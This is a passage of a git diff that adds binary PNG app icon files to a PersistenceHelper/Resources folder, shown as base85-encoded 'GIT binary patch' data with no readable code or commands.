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 literal 0 HcmV?d00001 diff --git a/PersistenceHelper/Resources/AppIcon57x57@2x.png b/PersistenceHelper/Resources/AppIcon57x57@2x.png new file mode 100644 index 0000000000000000000000000000000000000000..eef0475565496265c60390d55d286422950d5f97 GIT binary patch literal 14797 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 